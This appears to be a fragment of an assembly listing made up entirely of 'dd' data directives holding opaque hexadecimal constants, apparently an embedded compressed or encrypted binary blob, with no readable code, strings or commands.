		dd 860F1A4h, 0E60C42A0h, 1EA48528h, 847BA1B1h, 180CA031h
		dd 470BB488h, 0A6EC0509h, 9084609h, 18401495h, 0CB707C50h
		dd 146F0110h, 0D1FC0821h, 0EBF1489h, 1138578h, 0E9A65BABh
		dd 48100E48h, 2F8814F8h, 0FEFF2176h, 24340E13h,	0D73933CDh
		dd 83480838h, 446C089Ah, 0EE36B97Ch, 0D025B705h, 0C84642Fh
		dd 0AD009820h, 8460D46h, 0D80F0262h, 18C2804Dh,	21700401h
		dd 9A0B0F84h, 6A809428h, 5E803C95h, 84110242h, 116C8F0Fh
		dd 9A840191h, 0B9708AA8h
		dd 7E1489A3h, 0AD9D0180h, 0C95C0BE1h, 0BE505817h, 76668D4Bh
		dd 3AF2ADE1h, 5B038FFBh, 84F93675h, 5D1C7333h, 9764E8FDh
		dd 385A9FB2h, 48E30175h, 6B47323Ch, 631EABB4h, 74EC5A7Ch
		dd 3C0100A4h, 2751512h,	41253CAEh, 3B6B7964h, 5B439C5Ah
		dd 6CCB8DBFh, 3C0B0109h, 0A9751C84h, 0DA4AEF20h, 5762A2C1h
		dd 69FB5C28h, 8E5CC859h, 0A0D2F2Dh, 2DBFD4ECh, 662ED4D0h
		dd 0EB352D0Bh, 74A20406h, 63706982h, 9D2252h, 0FF071C81h
		dd 28B59AE4h, 2438200Fh, 0ECAB1802h, 0B700143Ah, 3ED9D2C9h
		dd 1B34EF33h, 30431F25h, 612F5C88h, 10FD01AFh, 30A9AA62h
		dd 1AF2275h, 570328FFh,	94FF0164h, 1652B03h, 1503CAFFh
		dd 0E5FF0166h, 167030Ah, 385F2FFh, 0F9017F68h, 0BF690342h
		dd 3A1FC01h, 0FE015F6Ah, 0AF6B0350h, 328FF01h, 0B8016C52h
		dd 3EBE241h, 1E100D06h,	33886D50h, 0E90E83C9h, 40EED9B0h
		dd 5BF42474h, 13731E81h, 877FC0C8h, 0E2FCEB83h,	0B30E34FAh
		dd 2120CA94h, 0B9377880h, 0FDECF9EFh, 52D8C2FDh, 0B0820103h
		dd 870C90D8h, 0E8B3F3C1h, 43CE94C0h, 863CED78h,	1EBF8726h
		dd 0F3405D64h, 7B518CFh, 941BC98Ah, 5B8D9073h, 3C64BDAFh
		dd 0E100EC40h, 0C34D543h, 7EC59700h, 0F4F5CB6Ch, 0FDA4030Eh
		dd 0E80BE663h, 9A43E3B0h, 880C4F00h, 0D4F7F4D5h, 1C7E874h
		dd 91787C0h, 0C893D786h, 197F0F37h, 4CB1AE07h, 0C57A0B5h
		dd 808D9740h, 0F12F057h, 89F37B92h, 5080510Fh, 3449E19Ah
		dd 9D857700h, 18787DB3h, 8EA607B1h, 8028743Dh, 0D42C8A1Eh
		dd 3C749B74h, 50D88B78h, 0E9EC5E68h, 7866F6F0h,	9DDB0C5Dh
		dd 0B3391EB8h, 80D66F3Ch, 6CEFAF26h, 786E5174h,	0D4A9289Fh
		dd 902D080Ch, 0D783CEF9h, 2A8D9Ch, 60174A88h, 0D0061FB1h
		dd 0BF19E0D8h, 80E36015h, 3C41EA1Ch, 9107D7F0h,	2F0EB3F0h
		dd 2A453B37h, 6274CC00h, 0AA3D27h, 14539B36h, 2C47A345h
		dd 1772630Fh, 696A80F5h, 0A09DBD78h, 38E938Ch, 8899D62Dh
		dd 83C8615h, 9370E2Ah, 0DC11A117h, 9092D4B1h, 0EE1C0A15h
		dd 8E430088h, 0BD0C0483h, 0E19A48CCh, 7B530838h, 0C0359BD8h
		dd 16D454Ah, 74E95777h,	0F9E3D678h, 0ECE4C769h,	2AA5ADBAh
		dd 38527CD1h, 0EF796213h, 723A1059h, 0B87676B5h, 0C2B511A0h
		dd 0D11929DEh, 8DF827A4h, 6D3D5497h, 2D45033Ah,	0F0775BCAh
		dd 7942250Fh, 5DD1855Dh, 46529407h, 68302EBCh, 13054633h
		dd 4558F30Ah, 80ED2FA8h, 0EDF4A942h, 9D22B661h,	0C1C45BAh
		dd 0D6BDAF85h, 60B7D3ADh, 2F86A7D0h, 51680646h,	32E7ACAAh
		dd 0E52A8E1Dh, 0EE300564h, 0FE7BDB1Ch, 0CA307238h, 383258FBh
		dd 357E3234h, 77614325h, 5857E63Ah, 0C3D69D81h,	343605Bh
		dd 392C3003h, 5E207C1Ch, 4F424143h, 374CA153h, 0C87E12BEh
		dd 501D3127h, 72337784h, 79BE93ABh, 2C31250Dh, 30E00C38h
		dd 336E1F57h, 9355A744h, 36F03D7Ah, 575B5425h, 3F31A7ECh
		dd 4FB43035h, 2DF4AEDDh, 414E0949h, 0C4DD5952h,	0A27D8D2Ch
		dd 45521C7Ch, 5108E854h, 0DE9FB232h, 0BFCEBE4Fh, 0B2BF3574h
		dd 0DBA5907Ch, 366BDE0h, 4786818h, 412A9214h, 2C5E5B5Fh
		dd 6B5CA5Dh, 51380A9Fh,	0B0C8A158h, 4C930AFBh, 0A9205349h
		dd 0ED50172Ch, 6576174Ah, 0F74879AFh, 9FFC74FCh, 50057C90h
		dd 29565341h, 0B4A57BB8h, 8A2DA92Eh, 52BAAE49h,	2E41B218h
		dd 59540591h, 38404550h, 22203735h, 843EE52Fh, 0ABE7EB7Ch
		dd 32776425h, 50F11067h, 49447057h, 52134833h, 9544EC65h
		dd 0CA3094CDh, 65CACC53h, 1387F827h, 0F846796Eh, 0F1194147h
		dd 33184C59h, 755568C9h, 38A16B67h, 8E3B022h, 9F31E233h
		dd 1A532A56h, 0EB7571E0h, 43F54109h, 0F60C5A78h, 2B2C53FCh
		dd 0FBBC6030h, 2ECE7779h, 7F4FDA6Ah, 0FACC036h,	1A977BBDh
		dd 61FF9F2Ch, 0EBAD6EE6h, 0A49F9CD8h, 0DC8747FDh, 0E1DE5EBBh
		dd 0A92E312Fh, 4F0D15A2h, 346A364Bh, 6D58C1E6h,	27867E79h
		dd 0A0D1BF1Eh, 66EB2D17h, 0E7EF2C3Ah, 128663E2h, 7349132Ch
		dd 7126910h, 74AE7811h,	303D19CEh, 68FF7058h, 53251E12h
		dd 57387C41h, 6E12F93Fh, 1285AB64h, 670A4C19h, 2990B721h
		dd 0DE412F69h, 522D4290h, 0A94029F5h, 442B8DD2h, 0FB44559Fh
		dd 30034D5h, 0D7544D47h, 1549EE22h, 2009D72Dh, 1E2B6A5Dh
		dd 63E2951Ah, 14B42BAFh, 0D2CBFEF5h, 93F72E6Bh,	426684Dh
		dd 0DCC8F5F0h, 0EC3F6EDFh, 0EBCF39A0h, 0A3023436h, 6E0873F5h
		dd 79E8024Dh, 7F6545B8h, 6A75877Eh, 0F32F1C38h,	5ACD657Eh
		dd 0E67DB6D3h, 781CCFF0h, 3D8F2FE9h, 48956C89h,	31A86616h
		dd 915548AEh, 283DE438h, 0AF92C43Fh, 0EB927DA6h, 0C92A5CDCh
		dd 0D6A45C09h, 0C4F3EA46h, 12F16925h, 2B09DD25h, 0BEB2AB2Fh
		dd 0B4EBDFDDh, 2E00E3AAh, 3E1B933Ch, 0B00C4F14h, 4C2C4FA5h
		dd 4E033A53h, 9033223Dh, 0DD483C3Eh, 2A2F1A2Ch,	22F41B0Eh
		dd 42410E98h, 0A454C2Ah, 442A4FF0h, 0FDA00959h,	49F34C4Dh
		dd 94F82E48h, 157C5AE4h, 1AFB7B1Ch, 2D256562h, 286E9DC3h
		dd 0F32EC30h, 0B19AA228h, 4D5429CAh, 95477A64h,	8AAF4957h
		dd 0DD209348h, 0A10F948Ah, 926D8094h, 2F09143Ch, 587B5825h
		dd 0C3472AE0h, 11FFCAD2h, 64C533DAh, 19346D6Bh,	5495C2D3h
		dd 7078419Fh, 2E1718A5h, 26736105h, 0B43B5782h,	0A3EC8D1Fh
		dd 0CE71EFC8h, 1C43110Ah, 0D81DDE9Ah, 0D64F2D59h, 73F1C090h
		dd 43BA5B2Fh, 393284D8h, 3B1F6934h, 9B7AC4BDh, 0D1A76814h
		dd 1560FA41h, 1AD54645h, 0BC4DB900h, 0BB242AA9h, 64CA32B1h
		dd 34064C2Fh, 52E320F4h, 6AD3A0Bh, 4D41C073h, 0FF0991DBh
		dd 0A384B519h, 285C3471h, 614B50B9h, 52A83D27h,	5A5BF1Eh
		dd 0AC675F49h, 1DC93BACh, 6B126EECh, 7F6F4504h,	0AD5E54E5h
		dd 22D62790h, 0AD142083h, 6B5359DDh, 0E06ADCC5h, 0F231B240h
		dd 0B055B049h, 2407B162h, 14204D39h, 20A1C855h,	526E9DB0h
		dd 309C7968h, 3C2DA5CAh, 108AA49Dh, 477B4145h, 1A4C2D49h
		dd 0BA27693Fh, 6E2532DAh, 0EAEC93E2h, 46B97454h, 900633A5h
		dd 9E65520Ah, 1D553A70h, 0B83E48F1h, 5F2BD736h,	0FFCB0A38h
		dd 5D2D886Dh, 0F403B7B9h, 88B3CA99h, 4E1D0931h,	7CA958DFh
		dd 634444A3h, 4F4AA2FBh, 0F82A742Dh, 8BEF92E2h,	6EEF4ED4h
		dd 5B3E4300h, 38A4B8A6h, 6AA7433Ch, 7A83764Bh, 48489CE7h
		dd 0F7A9DF73h, 3C526F6Dh, 0CD888540h, 0A4860A96h, 0D384F6BAh
		dd 0FC4A3FCFh, 736A40BAh, 68C34059h, 45F92C55h,	95538C58h
		dd 5239F9C6h, 29289675h, 3BB4B4FDh, 57266858h, 308A5059h
		dd 9241696Dh, 4ABA5320h, 7C680A1Ah, 5BA65E95h, 3EBAD24Bh
		dd 56503444h, 2401F414h, 4BBD426Ch, 0ED7927FAh,	0C012A1EFh
		dd 0A444CD1h, 556A5C92h, 2C4B25DAh, 0AEEC64BEh,	0F84203B2h
		dd 0F4A423B9h, 9220B7EFh, 921CDAEEh, 3C47637Ah,	0D1636E92h
		dd 5752B244h, 1A3749D1h, 6D2957ABh, 8EADB7BAh, 0E7E52EAAh
		dd 73155C0Bh, 3FBDBC2Eh, 5EDAB2FCh, 2D8FC379h, 5F684B43h
		dd 0F1771F9Ah, 3895DA20h, 3A145DA5h, 57793093h,	4F46A253h
		dd 405EE85Ch, 2AE97091h, 73C950ECh, 0A421243Fh,	7CC4DFC9h
		dd 5495F186h, 91ACAA60h, 7C6CA963h, 0D7274885h,	515F8832h
		dd 0F170A319h, 616C4973h, 7057247Fh, 2CEAB7A3h,	40E8B09Fh
		dd 417AA8E9h, 0F2A8855Ch, 0C4258897h, 80715244h, 52B9CAB4h
		dd 66548B26h, 7B9AD44Bh
		dd 4624937Eh, 0F497F96Ch, 9A355D68h, 0EB9875EEh, 340F502Dh
		dd 46FF7BD2h, 626ED73Ch, 9DA444D1h, 42764F7Fh, 150B414Eh
		dd 0CE5F9491h, 0ED4491C5h, 1A59242Eh, 0CE427220h, 7A494015h
		dd 0F3C98A47h, 0BA552525h, 977AC7D4h, 219ECC69h, 0C9B73D5Ah
		dd 4190538h, 2F786A6Bh,	2D27C0CAh, 57B8A4FCh, 0FD5ABF01h
		dd 0CE785170h, 775A80BFh, 78D508E2h, 0D6808FCFh, 4EF5CE9Fh
		dd 4D29924Ch, 0BAB442CBh, 11AFADDh, 0CCF16AE9h,	7E6C0693h
		dd 68B0F500h, 1585AA6Dh, 569D5480h, 257026DBh, 4FEEFE66h
		dd 1FEE6E4Fh, 0BF2FB467h, 6773D0D2h, 0FED3F600h, 0FB007F15h
		dd 45C250CBh, 0EB49EA05h, 6E376197h, 0C5F5809Ah, 2860A146h
		dd 0D02E2743h, 7600AF9Ah, 2DE8F1B7h, 883A9242h,	5959803Dh
		dd 0C5ACE16Ah, 0EE806721h, 0A977442Dh, 7B467F74h, 4E5E808Fh
		dd 76890D42h, 0BAF03B06h, 4A879020h, 0B58B7A47h, 0D574C4EBh
		dd 0C122BFFAh, 0D7095B47h, 6BA580ABh, 0B2AFACF4h, 0CE723D10h
		dd 0EB80CC51h, 0B1807BD2h, 7529794Dh, 5FCDED4Eh, 807A4034h
		dd 630081B5h, 2C7D3161h, 8190787Fh, 73F6427Ch, 809B6CF2h
		dd 73AD38D5h, 67720182h, 32488161h, 0FA503D89h,	137D8A93h
		dd 2907BE52h, 38223931h, 0AB096220h, 3CA37E83h,	8AC83AB8h
		dd 0D78BE49Eh, 87EB65E4h, 0FD010AA1h, 8B4B8068h, 0EF0E77FFh
		dd 31CA26CBh, 5C97B0F0h, 0BB72174Dh, 2C9F065Fh,	693D1C66h
		dd 142FD70Dh, 1F3A301Bh, 2E1ED16Fh, 2F6E31B8h, 0B2F7706Fh
		dd 7EE5794Eh, 8199D9B5h, 0AD65206Dh, 0B10D5D5Ah, 5EA06A9Ch
		dd 3B3CFB63h, 0D14937ABh, 5E2ABA2Dh, 2BF35F52h,	811D78Eh
		dd 0D63B6223h, 460D2214h, 11857765h, 455B021Bh,	0BB5D4353h
		dd 70022807h, 31463E14h, 2990752h, 320D5371h, 950729EDh
		dd 3E0D7202h, 9907D233h, 0D537302h, 729ED34h, 0D740295h
		dd 7D2353Eh, 53750299h,	29ED360Dh, 76029507h, 0D2373E0Dh
		dd 77029907h, 0ED380D53h, 2950729h, 393E0D78h, 29907D2h
		dd 30AD5879h, 94075DFDh, 9F147A02h, 23433CA3h, 9D32117Bh
		dd 24C091E1h, 7EC40F60h, 3129188Ah, 0B203B404h,	4328AC6h
		dd 402B106Eh, 4331414h,	0C22303D9h, 44D3439h, 2324039Ch
		dd 0D9043594h, 39C22503h, 9C044D36h, 94235E03h,	3D90437h
		dd 3839C226h, 39C044Dh,	3994232Ah, 2803D904h, 4D3039C2h
		dd 29039C04h, 20BD9C23h, 70862D70h, 0BB658E5Fh,	0B223D09h
		dd 914B12Bh, 0AD65B12h,	0D9075D15h, 0F8275102h,	0D8590B43h
		dd 0BD09495h, 452601D1h, 0CBDD7351h, 0D0204980h, 1321DC0Bh
		dd 370C7454h, 5944080Bh, 0B0DBC9Dh, 6E550112h, 9B0B8620h
		dd 69093250h, 1890B94h,	6F09944Fh, 149A40Bh, 1AC0BA50h
		dd 0DB01250Bh, 0A516DC26h, 700122FFh, 7D9C85DDh, 9419923h
		dd 440B4A61h, 0D49B5301h, 42B80BA1h, 64094432h,	8E10B94h
		dd 6609CA46h, 126520Bh,	67520947h, 3201910Bh, 94680948h
		dd 4A01890Bh, 0B6A0994h, 4B014CA4h, 0BA56B09h, 4C650122h
		dd 0B296C09h, 29BA0113h, 150B3B09h, 0DE88143Ah,	22882791h
		dd 10675A51h, 1440B43h,	0A14CB358h, 7001A20Bh, 4A638143h
		dd 5601440Bh, 0BA19CB3h, 422E42B8h, 62DD7359h, 6E254E14h
		dd 11C20B29h, 6D09944Dh, 14CA40Bh, 0A42C09BCh, 143C560Bh
		dd 2E46BE22h, 0BF443E21h, 2EC22F48h, 12DC393Fh,	0C27C315Ch
		dd 5B101139h, 52155443h, 95075D4Ch, 57479FF0h, 7CA4E49h
		dd 0A62002ECh, 34078504h, 22282B99h, 4A50FA2Ch,	70E1152h
		dd 46910299h, 4C3E1614h, 4D07D64Bh, 68779F58h, 0D30795FFh
		dd 0DDD9F167h, 65F5B643h, 8E419907h, 7F554792h,	0EC23076Bh
		dd 4544943Eh, 590747ACh, 3F7E9F41h, 7AEFD4Eh, 6BDFC1ACh
		dd 7ACFE7Fh, 873E41B3h,	5446454Ch, 33CB07DAh, 85B7EE2Dh
		dd 0CF042407h, 484752A3h, 59075046h, 4FE2982Dh,	7A0D157h
		dd 47900299h, 514DA514h, 549307DCh, 7EE77C58h, 9C6ACB11h
		dd 6588B181h, 7760CE6Dh, 396B1785h, 0CB606259h,	0EF9C9C60h
		dd 1661250Ah, 210AEF64h, 0A2F0CE62h, 0AEF1C63h,	0F0CE6421h
		dd 0EF1C65A2h, 0CE66210Ah, 1C67A2F0h, 68210AEFh, 69A2F0CEh
		dd 260AEF1Ch, 0BC73A86Eh, 0F5AC6B29h, 0BB22298Ch, 0AB7DC997h
		dd 521C27DFh, 2952E0C4h, 0A7184217h, 5F72140Ah,	4E3CF4D9h
		dd 29D50AFFh, 1C1CF248h, 0FF273487h, 66749332h,	689A3AC7h
		dd 16D4517Ah, 0BCBF0C74h, 0B089B809h, 6C2E3A10h, 297487BCh
		dd 0D9182C3Ah, 40C80F21h, 0F224437Eh, 5E901F25h, 0E48726FCh
		dd 2D213F2Ah, 0C80F2BF9h, 5C437E2Fh, 901F3DF2h,	8727FC3Fh
		dd 213F60E4h, 0F20F97Eh, 63D72EC9h, 0C88B843Eh,	21EC18D0h
		dd 3F40E487h, 25F92421h, 7E5EC80Fh, 2AF22643h, 0FC2D901Fh
		dd 2FE4872Bh, 0F95C213Fh, 3FC80F3Dh, 0F227437Eh, 7E901F60h
		dd 0E28720FCh, 9EDC692Eh, 1DC8A274h, 0FC219018h, 24E48740h
		dd 0F925213Fh, 26C80F5Eh, 0F22A437Eh, 2B901F2Dh, 0E4872FFCh
		dd 3D213F5Ch, 0C80F3FF9h, 60437E27h, 901F7EF2h,	5A2EFC20h
		dd 4C6AAC68h, 0B044B9A9h, 2421183Bh, 0C90F25F9h, 0C4C5DD2Eh
		dd 18486023h, 0CE2E4B76h, 1D60DAE8h, 0FC249018h, 2EE28725h
		dd 21101F78h, 0E48724FCh, 0AF5A3F25h, 0B818B910h, 24E48721h
		dd 0F025213Fh, 440E4320h, 0D079654Bh, 0E0FD3AADh, 4614232Bh
		dd 0D49D0901h, 1852B818h, 45504FA0h, 0EAA55243h, 182E9AD4h
		dd 0D0EBB5Bh, 0D3FAB661h, 475B4FB9h, 18A650FAh,	48535514h
		dd 0DF8A02A8h, 1885007Ah, 79617061h, 0F9D8F4CEh, 59305303h
		dd 184C0629h, 0DE301252h, 7030A106h, 4F23432Eh,	0EF53C44Dh
		dd 5F438E0Bh, 85695807h, 0F183D3Ah, 0C2ED9201h,	0D1460840h
		dd 3C70DD0Fh, 0ABDA4F42h, 0E83A386Dh, 292812BAh, 1AFDA4F8h
		dd 757B792Ch, 43DDEEFBh, 25BFBCBDh, 98A3AA1Eh, 1A39FE5Ah
		dd 1A01A53Eh, 20225B34h, 46A74153h, 504A5DC5h, 0B699AE93h
		dd 0AFA5800Eh, 0AC3A5A94h, 43CEF6D7h, 9AA52Eh, 0D5A52459h
		dd 4C96BBC8h, 9F088C28h, 30461F9Bh, 116C2308h, 3633872Eh
		dd 0C1079B19h, 6DE23230h, 1CF323A8h, 0A5622Fh, 42163A91h
		dd 0C98DAB6Fh, 0BDD19A7h, 4762572Eh, 14497C47h,	49E091A8h
		dd 4BD1D014h, 8429D240h, 328AA422h, 0A7842185h,	0F4AEF8F2h
		dd 38932C8Eh, 93743449h, 0A4144968h, 849C491h, 7552413Ch
		dd 48E2E4D2h, 4C325F2Ah, 2D767205h, 5F132055h, 0CF399BFh
		dd 2F0E4C20h, 57392E30h, 5556C991h, 3C594EF1h, 0E448E96Ah
		dd 22B41B77h, 0DEDA36CDh, 3F0B2306h, 4A2D42FCh,	387D18C4h
		dd 38438F0Eh, 37A546E8h, 0AA343672h, 0EA341F67h, 0FE34A1DBh
		dd 8D560199h, 0F601A630h, 73B45C9Fh, 0D56E0E27h, 59D7661Ah
		dd 7F427AFh, 424B09BFh,	1E96622Fh, 0F7F6B528h, 35B47BA5h
		dd 98A3BB8Bh, 10A444D0h, 0BED647BAh, 6DBD2ACDh,	0B438FF5Ah
		dd 5D1BD040h, 974FFE93h, 84AA574Dh, 654C6838h, 7AD9DEB7h
		dd 4F1A3832h, 5A824A16h, 4823D81Dh, 18B2552Dh, 2BEA9B57h
		dd 6920701Eh, 2CC065DDh, 308EFC28h, 85DB26B3h, 0D338F3AFh
		dd 0B8929FFh, 29FE5AC7h, 472C1E3Eh, 0F529D0F0h,	0D000A2BAh
		dd 1A5AA953h, 43952C46h, 0DBD7C2BDh, 9F446400h,	0FC2824FEh
		dd 0ADDB5452h, 8D449CDDh, 3D2E4529h, 0F1FC6B28h, 0D87BEB5Bh
		dd 80DA4B46h, 0C478F1D7h, 0D34BCE44h, 1FE864AFh, 64CBD5Eh
		dd 9B84FFE4h, 50D0528Eh
		dd 0C4D45B2h, 0AC6EA64Dh, 5094E43Eh, 12BB5B34h,	0E9D4EC9Dh
		dd 0B418FD6Bh, 8CB4579Dh, 26702A40h, 9DFC5E3Ah,	3823204Dh
		dd 23663569h, 0C57D4B34h, 0E54D2BBCh, 94238A2Ch, 0B6AFB580h
		dd 7C53CBACh, 572ACF69h, 9DCAAD18h, 0FE0350DDh,	50442D55h
		dd 87B81E7Fh, 9E45C540h, 787098A7h, 4F53013Dh, 54454B43h
		dd 0C752CD5Fh, 27963ACFh, 8186367Dh, 6A223DE1h,	411BAB5Bh
		dd 7462EAECh, 25F4481Dh, 644903F8h, 0E9DAE791h,	2D18FB2Dh
		dd 1F8A96F8h, 46168C1Dh, 36491C7Bh, 96B48559h, 7E4C2635h
		dd 0F8B59D2Bh, 4CA734BFh, 4B29286Bh, 3AD42F7Bh,	5B0BF930h
		dd 0DA9069DCh, 0CA2445h, 56D9AE5Ch, 63A5D473h, 906D6360h
		dd 4F26EC92h, 0A1F94DD1h, 93565002h, 36F5AD67h,	5A4D91C0h
		dd 0FBC944D5h, 0EC6F69FDh, 4E08DBBAh, 0CF315BC2h, 0A0C9AEBDh
		dd 0B36B3DF5h, 2D7443AFh, 0CEBA5761h, 702DD07Bh, 0A4647969h
		dd 74346805h, 53A1509h,	0B89C5DCBh, 0FE67DAC9h,	0E55C69CFh
		dd 5764AD39h, 6352D09Eh, 278D7014h, 0D02B1EFDh,	7AA91C34h
		dd 39A7469Dh, 5B049CDDh, 0C469BB66h, 885B10A7h,	498759AFh
		dd 34A116DEh, 3971D5F2h, 35DA31C8h, 0B27F2730h,	84241E92h
		dd 0A126B915h, 5577ED3Ch, 2AF2BA15h, 0E251E8D6h, 9D44B42Eh
		dd 3552CBD6h, 0ADE6A168h, 859B13DDh, 0D228F2AEh, 369284Ah
		dd 800A0147h, 0AD76B756h, 9392FD2Dh, 0D40C4AAAh, 40936279h
		dd 24A17721h, 0E43A7D7Ah, 24169A3Ah, 25BF724Fh,	1556BE8Ch
		dd 0E9D1A3ADh, 282C2DE4h, 92E4D0CCh, 0AD70B850h, 0C243201Ah
		dd 7723CE75h, 0E101E67Fh, 4A622B61h, 0E43E9430h, 3869291Eh
		dd 0ED641D33h, 0BED9D5FBh, 62CD98F7h, 7266960Eh, 9B25D7EAh
		dd 68446608h, 0E47C2DDDh, 0B72C1C52h, 8CA1AFEh,	4955D9A7h
		dd 5FCBB0F6h, 6015909Ah, 13290CA3h, 66312E01h, 0FE27424Bh
		dd 0A50F4029h, 252CDE25h, 4A3AA5Ah, 0EBA54442h,	60423EE2h
		dd 61B6D6BDh, 91EF69FBh, 1D1FF538h, 0C912DF75h,	893E5BC9h
		dd 16A16EA3h, 29289FC2h, 0A3D22E45h, 0F12C482Dh, 29BD4567h
		dd 2CF74D24h, 0B4A868BDh, 0E1288CFEh, 0DD63CB0Bh, 0D74B5F47h
		dd 0C2EBB846h, 24388D53h, 16CEDB44h, 0C00A8DBAh, 749F6443h
		dd 0EF54991h, 94B517E9h, 0E462B159h, 3BD1D26Dh,	56F4FCF8h
		dd 1F95AA81h, 5503F7EAh, 0AC26CB3Fh, 65C7C12Ch,	0F5AD091Ah
		dd 3C877C36h, 0D2FED66Bh, 3EF7C1D0h, 0B25FF4BDh, 6F574B82h
		dd 3A4805ABh, 0C4B7EA5Ch, 50712FDFh, 9C63C9B9h,	73E5202Bh
		dd 0D2E4B7EAh, 480A0839h, 0DAD6BBD7h, 0FCABB70Dh, 0A1E4CF55h
		dd 64D6CEA1h, 99A21D25h, 3E70B275h, 34908DBDh, 904F33B9h
		dd 42154A16h, 6AE8519Eh, 2CDA14D7h, 1FE29FFCh, 0BE497BD5h
		dd 6D8F22EFh, 7914B2FCh, 0E1AD6495h, 55534C22h,	0E5FAC449h
		dd 50C83F5Bh, 4C507E28h, 729E6844h, 1B750240h, 6382BC29h
		dd 53DF835Ch, 0A5205B2Ch, 281D9982h, 42D22F1Ah,	2965395Fh
		dd 95556E34h, 2A450361h, 8244CFC3h, 1CCDFE4Fh, 0F6491741h
		dd 6C1846E7h, 954D281Ch, 74FC03CCh, 0B4A16C73h,	7F1F6144h
		dd 5482D5C4h, 77078969h, 1C84B7C4h, 69675C9Fh, 0E4F66BF5h
		dd 346F2A89h, 151C51EAh, 9034AB4Fh, 0F4BB1C50h,	0C9EA2013h
		dd 903B0A9Bh, 15742A80h, 489DD6B5h, 1C017235h, 0C54C4454h
		dd 6409A52Eh, 50388960h, 6CA69C27h, 54796C25h, 5AFDDADDh
		dd 0AE2F5FAEh, 12BFA465h, 0B619AADCh, 84957B1h,	4C0C1EDFh
		dd 0E17FF94Fh, 64FF8422h, 0D48B2906h, 41E64EF8h, 1612295Dh
		dd 0AF03C684h, 81439318h, 1099B188h, 981C19A0h,	0D0211409h
		dd 137081AFh, 181110ACh, 197833B2h, 0C313210h, 4240809h
		dd 28B77C46h, 0EFCAEC2Ch, 92FC19B1h, 31F80891h,	0B6E021F0h
		dd 19F40899h, 8419980h,	1999F079h, 12E809ECh, 48E024E4h
		dd 10D891DCh, 0D43348E8h, 948D011h, 0CC086649h,	9C86411h
		dd 91C048C4h, 44B822BCh, 0AC89B0B4h, 0A424A812h, 9C91A048h
		dd 94449822h, 12808988h, 486C2478h, 225C9164h, 444C4454h
		dd 30123C89h, 24482C24h, 14221C91h, 8B081044h, 91F84484h
		dd 0E491F008h, 0D444DC22h, 12C489CCh, 48AC24B8h, 229C91A4h
		dd 848C4494h, 6C127889h, 58486024h, 48225091h, 89303844h
		dd 241C1224h, 910C4814h, 90FC1004h, 0E844F422h,	12D489E0h
		dd 48C024C8h, 22B091B8h, 98A044A8h, 84128C89h, 6C487824h
		dd 5C226491h, 894C5444h, 24381240h, 912C4830h, 44182224h
		dd 0F8880410h, 12EC818Fh, 48DC24E4h, 22C891D4h,	0A8B444BCh
		dd 9812A089h, 80488C24h, 70227891h, 89606844h, 24481250h
		dd 9130483Ch, 441C2224h, 4890C14h, 28EF811h, 48E824F0h
		dd 22D491DCh, 0B4C044C8h, 0A412AC89h, 98489C24h, 84228C91h
		dd 89747C44h, 2464126Ch, 9154485Ch, 44402248h, 28893038h
		dd 18242012h, 0C911048h, 8DF48870h, 0E009E9D9h,	0D024D812h
		dd 0B891C448h, 0A044AC22h, 128C8998h, 95F02180h, 11E8B342h
		dd 70092278h, 89686C44h, 24581260h, 91484850h, 44382240h
		dd 1C892830h, 0C241412h, 44B80848h, 9600B3F4h, 0DA507410h
		dd 874C4C2Ch, 364BB934h, 991C9A34h, 2C309D24h, 8C90C968h
		dd 43588CFCh, 8013D384h, 9CC44864h, 0B31458D8h,	8CF48864h
		dd 24EC09B2h, 91E448E8h, 44DC22E0h, 0C489CCD4h,	602DBC12h
		dd 0BC318019h, 89B85C08h, 880988B0h, 2DACC5DBh,	0C404180Ch
		dd 0A4994CB3h, 991A039h, 9D84198h, 3096FE1Ch, 7C198465h
		dd 0A6A8102Ch, 70784424h, 916809C8h, 445C2260h,	44894C54h
		dd 38243C12h, 2C913448h, 18442022h, 12088910h, 19112E04h
		dd 350E7536h, 347C098Fh, 8FE0EC32h, 6F79077Bh, 104E7DF5h
		dd 0B8789173h, 9E787BCBh, 6C1BB13Dh, 0BC04BB6Fh, 0C208D161h
		dd 6DE05A78h, 46F566FCh, 30431134h, 61687508h, 0BF657943h
		dd 1FBA4F98h, 902D88D4h, 957567F0h, 496278D4h, 4136DE52h
		dd 0C2594F42h, 3C78FB7Fh, 4831AA4Eh, 20AD6C53h,	5EE031FFh
		dd 2866029Dh, 64612814h, 565539D4h, 725F1450h, 6290A17Ch
		dd 4248A3C6h, 0DCE19652h, 7429A270h, 10304172h,	89796D69h
		dd 0DF76FD6Ch, 0E1FF5D84h, 66647308h, 825372C1h, 0DF41BE67h
		dd 0AFBD342Dh, 41BE90C9h, 7C1C7320h, 0B5E93871h, 59F3511Dh
		dd 7D8E2969h, 7C771EFCh, 0A064651Dh, 1295B9F3h,	822662Dh
		dd 85C2FF7Bh, 92C41193h, 10817D10h, 46627568h, 6ADB4708h
		dd 9173C231h, 4AF22D08h, 7710071Ah, 408D6874h, 496D61FCh
		dd 6C3B3D62h, 0CC15F2EFh, 6DF4AE7Fh, 3A288E7Ah,	41004CACh
		dd 4445544Eh, 564E4F4Ch, 7563C703h, 72AC0A6Dh, 0E203932h
		dd 4D4E4441h, 61A8113Bh, 7B146556h, 359A7D52h, 0B1BB184Bh
		dd 8A78F6A8h, 9CB87555h, 8A794C3Eh, 24333453h, 0BE4F8233h
		dd 2606C8Eh, 0C8F95219h, 85E34A50h, 336D6599h, 6F12491Eh
		dd 305FAD1Eh, 599F137h,	0CAE86B5Bh, 0F2DB7BDEh,	454EC01Fh
		dd 4A41482Dh, 0CA68FC42h, 0E38A575h, 726D7A69h,	0D260AA1Bh
		dd 5DD15D6Bh, 524F4B01h, 90495941h, 9933C804h, 183C5B66h
		dd 644150DDh, 0C633A0A9h, 5D313402h, 0D895AA44h, 0EA734B1Fh
		dd 0C4385066h, 173832FAh, 0F29A16FEh, 0D5D269EEh, 2ECB3864h
		dd 1F41F976h, 20629979h, 69640763h, 7F7DE2AFh, 6D4C3471h
		dd 0D66CCB30h, 1A772580h, 0F19208F0h, 64763A31h, 426B5142h
		dd 0E8402852h, 6C4D470Eh
		dd 6563C14Eh, 5965D768h, 0CE70B428h, 9CD03CA8h,	3569D36Ch
		dd 79E00F65h, 460E3114h, 15534E65h, 418A706Eh, 7261088Ch
		dd 574A4489h, 45435103h, 4B4E2003h, 9D32332Dh, 771CA035h
		dd 7464749Fh, 34494CC3h, 1D236B25h, 27AD348h, 36336EB6h
		dd 47558460h, 0B1524126h, 65F824A0h, 8695633h, 380BA54Ch
		dd 0AA66D04Bh, 63F41B2Eh, 31746CE6h, 4432417Eh,	9145D449h
